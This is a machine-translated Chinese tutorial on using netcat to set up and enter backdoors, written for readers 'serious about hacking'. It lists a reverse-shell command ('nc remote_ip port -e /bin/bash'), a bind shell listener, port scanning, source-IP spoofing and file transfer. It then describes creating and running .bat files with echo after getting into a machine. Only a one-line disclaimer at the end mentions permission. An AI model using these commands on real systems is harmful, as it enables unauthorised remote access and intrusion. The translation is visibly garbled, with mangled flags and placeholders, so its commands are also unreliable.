步驟1：獲取Netcat

現(xiàn)在，我想擁有的第一件事是netcat在我自己的計算機上。不要害怕安裝它。 Netcat本身不是后門，但可用于創(chuàng)建后門。 Netcat基本上是類固醇上的Ms-DOS，因此，如果您認(rèn)真對待黑客攻擊，則應(yīng)該購買netcat。

要獲取netcat，請前往Google進行搜索，如果您使用的是Windows，則應(yīng)為.exe使用Google windows netcat 。

擁有.exe后，請使用將其放在Windows System32文件中，以便可以從cmd提示符下運行它。

此后，您只需在cmd提示符下鍵入nc即可使用它，

例如，如果您想進入安裝的后門，將使用命令

nc -v

下一步，我將介紹更多命令。

步驟2：基本的Netcat命令

-e 將程序入站程序執(zhí)行到exec（危險?。?/p>

-g 網(wǎng)關(guān)源路由躍點，最多8

-G 個源路由指針：4，8，12，。 。.

-h 此發(fā)送郵件，掃描端口的

-i 秒延遲間隔

-l 《/strong》模式，對于入站連接

-L 進行更嚴(yán)格的偵聽，然后在套接字關(guān)閉時重新偵聽e

-n 僅數(shù)字的IP地址，沒有DNS

-o 文件的十六進制流量轉(zhuǎn)儲

-p 端口本地端口號

-r 隨機分配本地和遠(yuǎn)程端口

-s addr本地源地址

-t answer TELNET協(xié)商

-u UDP模式

-v 冗長（使用兩次以變得更冗長）

-w 秒連接和最終網(wǎng)絡(luò)讀取的超時

-z零I/O 模式（用于掃描）

端口號可以是單個或范圍：mn（含）

連接到遠(yuǎn)程主機上的端口

nc remote_host 《端口》

》 連接到遠(yuǎn)程主機上的多個

端口

nc remote_host 《端口》 。.. 《端口》

例如：

nc www.somecompanyasanexample.com 21 25 80

在端口上偵聽

傳入連接

（也稱為A后門）

nc -v -l -p 《端口》

連接到遠(yuǎn)程主機

并提供bash shell

nc remote_ip 《端口》 -e/bin/bash

請注意，默認(rèn)情況下Netcat不支持-e標(biāo)志。要

使Netcat支持-e標(biāo)志，必須使用

DGAPING_SECURITY_HOLE選項重新編譯它

在端口上監(jiān)聽并

在連接后提供bash外殼

nc -v -l -p-《端口》 -e/bin/bash

請注意默認(rèn)情況下，Netcat不支持-e標(biāo)志。要

使Netcat支持-e標(biāo)志，必須使用

DGAPING_SECURITY_HOLE選項重新編譯它

端口掃描遠(yuǎn)程

host

nc -v -z remote_host -

使用-i標(biāo)志設(shè)置延遲間隔：

nc-?i -v -z remote_host

《端口》-《端口》

管道命令輸出

到netcat請求

| nc remote_host 《端口》

例如：

echo“ GET/HTTP/1.0

（輸入）

（輸入）

” | nc www.somecompanyasanexample.com 80

使用源路由

連接到

遠(yuǎn)程主機上的端口

nc-?g remote_host

注意：使用-g標(biāo)志最多可以指定八個跳點。

使用-?G標(biāo)志指定源路由指針。

欺騙源IP

地址

使用-?s標(biāo)志欺騙源IP地址：

nc -s spoofed_ip remote_host端口

此命令將導(dǎo)致遠(yuǎn)程主機響應(yīng)回

欺騙的IP地址。 -?標(biāo)志可以與該表中顯示的大多數(shù)

命令一起使用。

傳輸文件

在服務(wù)器主機上：

nc -v -l -p 《

在客戶端主機上：

nc -v 《服務(wù)器主機》 《端口》》 《文件》

客戶機主機也可以偵聽端口以

接收文件。為此，請在客戶端

主機上運行以下命令：

nc -v -l -p 《端口》》文件

，然后在服務(wù)器主機上運行以下命令：

nc-? –v 《客戶端主機》 《端口》 《文件

您的netcat都可以使用它們

步驟3：Bat文件部分

一旦您在計算機或服務(wù)器中，便可以利用任何您想要的東西，通常我使用vbs和.bat文件，但是我也想通過此方法創(chuàng)建文件，現(xiàn)在，您可以傳輸文件了通過使用前面所述的命令，但是我想即時創(chuàng)建文件。您可以通過Google搜索通過MS-DOS傳輸文件的方法，并獲得許多方法。我總是喜歡使用Echo方法

一旦您使用，就使用此命令

Echo 在此處輸入文件內(nèi)容》 名稱。任何文件類型

這將創(chuàng)建當(dāng)前目錄中指定的文件

一旦您可以通過簡單的命令行運行這些文件，

開始文件名

第4步：Netcat

您還可以使用netcat進行很多其他操作，但本指南中并未對此進行詳細(xì)介紹。 br》請勿在未獲勝或沒有權(quán)限的計算機上使用后門。
責(zé)任編輯：wv